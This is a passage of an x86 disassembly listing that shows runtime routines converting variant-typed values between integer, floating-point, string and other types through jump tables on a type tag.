		lea	eax, [ebp+var_4]
		call	sub_40012494
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_4001278C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E88D


loc_4000E87D:				; CODE XREF: sub_4000E848+43j
		lea	eax, [ebp+var_4]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_4000E886:				; DATA XREF: sub_4000E848+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E87D
; ---------------------------------------------------------------------------


loc_4000E88D:				; CODE XREF: sub_4000E848+3Dj
					; DATA XREF: sub_4000E848+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E848	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E894	proc near		; CODE XREF: sub_4000E9CC+1F1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E8D2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_400123C8
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_40012760
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E8D9


loc_4000E8C9:				; CODE XREF: sub_4000E894+43j
		lea	eax, [ebp+var_4]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_4000E8D2:				; DATA XREF: sub_4000E894+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E8C9
; ---------------------------------------------------------------------------


loc_4000E8D9:				; CODE XREF: sub_4000E894+3Dj
					; DATA XREF: sub_4000E894+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E894	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000E8E0	proc near		; CODE XREF: sub_4000E960+60p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		movzx	eax, word ptr [ebx]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 14h
		jb	short loc_4000E926
		mov	edx, ebx
		mov	eax, edi
		mov	ecx, 8
		call	sub_4000E9CC
		push	esi
		push	0
		push	400h
		push	edi
		push	edi
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	ecx, esi
		call	sub_4000E034
		jmp	short loc_4000E959
; ---------------------------------------------------------------------------


loc_4000E926:				; CODE XREF: sub_4000E8E0+17j
		mov	edx, esi
		and	dx, 0FFFh
		cmp	dx, 14h
		jnb	short loc_4000E952
		push	esi
		push	0
		push	400h
		push	ebx
		push	edi
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	ecx, esi
		call	sub_4000E034
		jmp	short loc_4000E959
; ---------------------------------------------------------------------------


loc_4000E952:				; CODE XREF: sub_4000E8E0+51j
		mov	edx, esi
		call	sub_4000DBF4


loc_4000E959:				; CODE XREF: sub_4000E8E0+44j
					; sub_4000E8E0+70j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000E8E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000E960	proc near		; CODE XREF: sub_4000E9CC+221p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		movzx	ebp, word ptr [ebx]
		cmp	bp, 101h
		jnz	short loc_4000E982
		mov	edx, ebx
		mov	eax, edi
		mov	ecx, esi
		call	sub_4000E744
		jmp	short loc_4000E9C5
; ---------------------------------------------------------------------------


loc_4000E982:				; CODE XREF: sub_4000E960+13j
		mov	edx, esp
		mov	eax, ebp
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E99F
		push	esi
		mov	ecx, ebx
		mov	edx, edi
		mov	eax, [esp+18h+var_14]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_4000E9C5
; ---------------------------------------------------------------------------


loc_4000E99F:				; CODE XREF: sub_4000E960+2Dj
		mov	edx, esp
		mov	eax, esi
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E9BA
		mov	ecx, ebx
		mov	edx, edi
		mov	eax, [esp+14h+var_14]
		mov	ebx, [eax]
		call	dword ptr [ebx+18h]
		jmp	short loc_4000E9C5
; ---------------------------------------------------------------------------


loc_4000E9BA:				; CODE XREF: sub_4000E960+4Aj
		mov	edx, ebx
		mov	eax, edi
		mov	ecx, esi
		call	sub_4000E8E0


loc_4000E9C5:				; CODE XREF: sub_4000E960+20j
					; sub_4000E960+3Dj ...
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000E960	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E9CC	proc near		; CODE XREF: sub_4000E744+41p
					; sub_4000E8E0+22p ...

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	ecx, edx
		jnz	short loc_4000E9E8
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E700
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4000E9E8:				; CODE XREF: sub_4000E9CC+Ej
		cmp	ax, 400Ch
		jnz	short loc_4000E9FF
		mov	eax, [ebx+8]
		mov	edx, eax
		mov	eax, esi
		call	sub_4000E9CC
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000E9FF:				; CODE XREF: sub_4000E9CC+20j
		mov	edx, ecx
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000EBC4	; default
					; jumptable 4000EA0A cases 10,12,14,15
		jmp	ds:off_4000EA11[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000EA11	dd offset loc_4000EA65	; DATA XREF: sub_4000E9CC+3Er
		dd offset loc_4000EA90	; jump table for switch	statement
		dd offset loc_4000EA9C
		dd offset loc_4000EAB1
		dd offset loc_4000EAC6
		dd offset loc_4000EAE0
		dd offset loc_4000EAFA
		dd offset loc_4000EB14
		dd offset loc_4000EB2E
		dd offset loc_4000EBAE
		dd offset loc_4000EBC4
		dd offset loc_4000EB3C
		dd offset loc_4000EBC4
		dd offset loc_4000EBB9
		dd offset loc_4000EBC4
		dd offset loc_4000EBC4
		dd offset loc_4000EB51
		dd offset loc_4000EB66
		dd offset loc_4000EB78
		dd offset loc_4000EB8A
		dd offset loc_4000EB9C
; ---------------------------------------------------------------------------


loc_4000EA65:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		cmp	word ptr [ebx],	1 ; jumptable 4000EA0A case 0
		jnz	short loc_4000EA84
		cmp	byte_4001AA10, 0
		jz	short loc_4000EA84
		xor	edx, edx
		mov	ax, 1
		call	sub_4000DBF4
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EA84:				; CODE XREF: sub_4000E9CC+9Dj
					; sub_4000E9CC+A6j
		mov	eax, esi
		call	sub_4000E3D8
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EA90:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, esi	; jumptable 4000EA0A case 1
		call	sub_4000E140
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EA9C:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 2
		call	sub_4000F33C
		mov	edx, eax
		mov	eax, esi
		call	sub_400125E0
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAB1:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 3
		call	sub_4000ED90
		mov	edx, eax
		mov	eax, esi
		call	sub_40012540
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAC6:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 4
		call	sub_400106E4
		add	esp, 0FFFFFFFCh
		fstp	[esp+0Ch+var_C]
		wait
		mov	eax, esi
		call	sub_4001262C
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAE0:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 5
		call	sub_4001036C
		add	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		wait
		mov	eax, esi
		call	sub_40012650
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EAFA:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 6
		call	sub_40011024
		add	esp, 0FFFFFFF8h
		fistp	qword ptr [esp]
		wait
		mov	eax, esi
		call	sub_4001267C
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB14:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 7
		call	sub_40010ABC
		add	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		wait
		mov	eax, esi
		call	sub_400126A8
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB2E:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	edx, ebx	; jumptable 4000EA0A case 8
		mov	eax, esi
		call	sub_4000E7B0
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB3C:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 11
		call	sub_4000FE58
		mov	edx, eax
		mov	eax, esi
		call	sub_400126D4
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB51:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 16
		call	sub_4000F1E0
		mov	edx, eax
		mov	eax, esi
		call	sub_400125C0
		jmp	loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB66:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 17
		call	sub_4000F294
		mov	edx, eax
		mov	eax, esi
		call	sub_40012560
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB78:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 18
		call	sub_4000F434
		mov	edx, eax
		mov	eax, esi
		call	sub_40012580
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB8A:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 19
		call	sub_4000F510
		mov	edx, eax
		mov	eax, esi
		call	sub_400125A0
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EB9C:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	eax, ebx	; jumptable 4000EA0A case 20
		call	sub_4000F860
		push	edx
		push	eax
		mov	eax, esi
		call	sub_40012600
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBAE:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	edx, ebx	; jumptable 4000EA0A case 9
		mov	eax, esi
		call	sub_4000E848
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBB9:				; CODE XREF: sub_4000E9CC+3Ej
					; DATA XREF: sub_4000E9CC:off_4000EA11o
		mov	edx, ebx	; jumptable 4000EA0A case 13
		mov	eax, esi
		call	sub_4000E894
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBC4:				; CODE XREF: sub_4000E9CC+38j
					; sub_4000E9CC+3Ej
					; DATA XREF: ...
		mov	edx, ecx	; default
					; jumptable 4000EA0A cases 10,12,14,15
		sub	edx, 100h
		jz	short loc_4000EBD3
		dec	edx
		jz	short loc_4000EBDE
		jmp	short loc_4000EBE9
; ---------------------------------------------------------------------------


loc_4000EBD3:				; CODE XREF: sub_4000E9CC+200j
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E7FC
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBDE:				; CODE XREF: sub_4000E9CC+203j
		mov	dx, 101h
		call	sub_4000DBF4
		jmp	short loc_4000EBF2
; ---------------------------------------------------------------------------


loc_4000EBE9:				; CODE XREF: sub_4000E9CC+205j
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E960


loc_4000EBF2:				; CODE XREF: sub_4000E9CC+2Ej
					; sub_4000E9CC+B3j ...
		pop	esi
		pop	ebx
		retn
sub_4000E9CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000EBF8	proc near		; CODE XREF: sub_4000ED90+15Bp
					; sub_4000ED90+213p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000EC9B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001B0B0
		mov	eax, [eax]
		call	eax
		mov	edx, eax
		sub	edx, 80020005h
		jz	short loc_4000EC48
		sub	edx, 7FFDFFFBh
		jnz	short loc_4000EC71
		jmp	short loc_4000EC7D
; ---------------------------------------------------------------------------


loc_4000EC48:				; CODE XREF: sub_4000EBF8+44j
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_8]
		call	sub_40007DEC
		test	al, al
		jnz	short loc_4000EC7D
		mov	eax, ebx
		call	sub_4000FE58
		and	eax, 7Fh
		mov	[ebp+var_8], eax
		jmp	short loc_4000EC7D
; ---------------------------------------------------------------------------


loc_4000EC71:				; CODE XREF: sub_4000EBF8+4Cj
		movzx	edx, word ptr [ebx]
		mov	cx, 3
		call	sub_4000E034


loc_4000EC7D:				; CODE XREF: sub_4000EBF8+4Ej
					; sub_4000EBF8+68j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000ECA2


loc_4000EC8A:				; CODE XREF: sub_4000EBF8+A8j
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000EC9B:				; DATA XREF: sub_4000EBF8+Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000EC8A
; ---------------------------------------------------------------------------


loc_4000ECA2:				; CODE XREF: sub_4000EBF8+A2j
					; DATA XREF: sub_4000EBF8+8Do
		mov	eax, [ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000EBF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000ECAC	proc near		; CODE XREF: sub_4000ED90+1F0p
					; sub_4000ED90+3F3p ...

var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF0h
		mov	ebx, eax
		push	esp
		call	sub_4000CDD8
		push	3
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+24h+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 3
		call	sub_4000E034
		mov	eax, [esp+14h+var_C]
		add	esp, 10h
		pop	ebx
		retn
sub_4000ECAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ECE8	proc near		; CODE XREF: sub_4000ED90+223p

var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000ED3C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_14]
		call	sub_4000E700
		lea	eax, [ebp+var_14]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_14]
		call	sub_4000ED90
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000ED43


loc_4000ED33:				; CODE XREF: sub_4000ECE8+59j
		lea	eax, [ebp+var_14]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000ED3C:				; DATA XREF: sub_4000ECE8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000ED33
; ---------------------------------------------------------------------------


loc_4000ED43:				; CODE XREF: sub_4000ECE8+53j
					; DATA XREF: sub_4000ECE8+46o
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000ECE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000ED4C	proc near		; CODE XREF: sub_4000ED90+403p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4000ED87
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	3
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax


loc_4000ED87:				; CODE XREF: sub_4000ED4C+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000ED4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ED90	proc near		; CODE XREF: sub_4000E9CC+E7p
					; sub_4000ECE8+36p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_4000F1B1
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_4000EF8D	; default
					; jumptable 4000EDBC cases 10,14,15
		jmp	ds:off_4000EDC3[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000EDC3	dd offset loc_4000EE17	; DATA XREF: sub_4000ED90+2Cr
		dd offset loc_4000EE21	; jump table for switch	statement
		dd offset loc_4000EE41
		dd offset loc_4000EE50
		dd offset loc_4000EE5E
		dd offset loc_4000EE7F
		dd offset loc_4000EEA0
		dd offset loc_4000EEC7
		dd offset loc_4000EEE8
		dd offset loc_4000EF7D
		dd offset loc_4000EF8D
		dd offset loc_4000EEF8
		dd offset loc_4000EF6A
		dd offset loc_4000EF7D
		dd offset loc_4000EF8D
		dd offset loc_4000EF8D
		dd offset loc_4000EF07
		dd offset loc_4000EF16
		dd offset loc_4000EF25
		dd offset loc_4000EF34
		dd offset loc_4000EF4B
; ---------------------------------------------------------------------------


loc_4000EE17:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		xor	eax, eax	; jumptable 4000EDBC case 0
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE21:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		cmp	byte_4001AA10, 0 ; jumptable 4000EDBC case 1
		jz	short loc_4000EE37
		mov	dx, 3
		mov	ax, 1
		call	sub_4000DBF4


loc_4000EE37:				; CODE XREF: sub_4000ED90+98j
		xor	eax, eax
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE41:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 2
		movsx	eax, word ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE50:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 3
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE5E:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 4
		fld	dword ptr [eax+8]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EE77
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EE77:				; CODE XREF: sub_4000ED90+E0j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EE7F:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 5
		fld	qword ptr [eax+8]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EE98
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EE98:				; CODE XREF: sub_4000ED90+101j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEA0:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 6
		fild	qword ptr [eax+8]
		fdiv	ds:flt_4000F1DC
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EEBF
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EEBF:				; CODE XREF: sub_4000ED90+128j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEC7:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 7
		fld	qword ptr [eax+8]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EEE0
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EEE0:				; CODE XREF: sub_4000ED90+149j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEE8:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 8
		call	sub_4000EBF8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EEF8:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 11
		movsx	eax, word ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF07:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 16
		movsx	eax, byte ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF16:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 17
		movzx	eax, byte ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF25:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 18
		movzx	eax, word ptr [eax+8]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF34:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 19
		mov	eax, [eax+8]
		test	eax, eax
		jns	short loc_4000EF43
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EF43:				; CODE XREF: sub_4000ED90+1ACj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF4B:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 20
		mov	edx, [eax+0Ch]
		mov	eax, [eax+8]
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000EF62
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000EF62:				; CODE XREF: sub_4000ED90+1CBj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF6A:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC case 12
		mov	eax, [eax+8]
		call	sub_4000ED90
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF7D:				; CODE XREF: sub_4000ED90+2Cj
					; DATA XREF: sub_4000ED90:off_4000EDC3o
		mov	eax, [ebp+var_4] ; jumptable 4000EDBC cases 9,13
		call	sub_4000ECAC
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EF8D:				; CODE XREF: sub_4000ED90+26j
					; sub_4000ED90+2Cj
					; DATA XREF: ...
		mov	edx, [ebp+var_4] ; default
					; jumptable 4000EDBC cases 10,14,15
		mov	edx, eax
		sub	dx, 100h
		jz	short loc_4000EFA0
		dec	dx
		jz	short loc_4000EFB0
		jmp	short loc_4000EFC0
; ---------------------------------------------------------------------------


loc_4000EFA0:				; CODE XREF: sub_4000ED90+207j
		mov	eax, [ebp+var_4]
		call	sub_4000EBF8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EFB0:				; CODE XREF: sub_4000ED90+20Cj
		mov	eax, [ebp+var_4]
		call	sub_4000ECE8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000EFC0:				; CODE XREF: sub_4000ED90+20Ej
		mov	edx, [ebp+var_4]
		test	ah, 40h
		jz	loc_4000F18D
		mov	edx, [ebp+var_4]
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4000F180	; default
					; jumptable 4000EFE0 cases 0,1,9,10,13-15
		jmp	ds:off_4000EFE7[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4000EFE7	dd offset loc_4000F180	; DATA XREF: sub_4000ED90+250r
		dd offset loc_4000F180	; jump table for switch	statement
		dd offset loc_4000F03B
		dd offset loc_4000F04C
		dd offset loc_4000F05C
		dd offset loc_4000F07F
		dd offset loc_4000F0A2
		dd offset loc_4000F0CB
		dd offset loc_4000F0EE
		dd offset loc_4000F180
		dd offset loc_4000F180
		dd offset loc_4000F0FE
		dd offset loc_4000F170
		dd offset loc_4000F180
		dd offset loc_4000F180
		dd offset loc_4000F180
		dd offset loc_4000F10F
		dd offset loc_4000F120
		dd offset loc_4000F12E
		dd offset loc_4000F13C
		dd offset loc_4000F152
; ---------------------------------------------------------------------------


loc_4000F03B:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 2
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
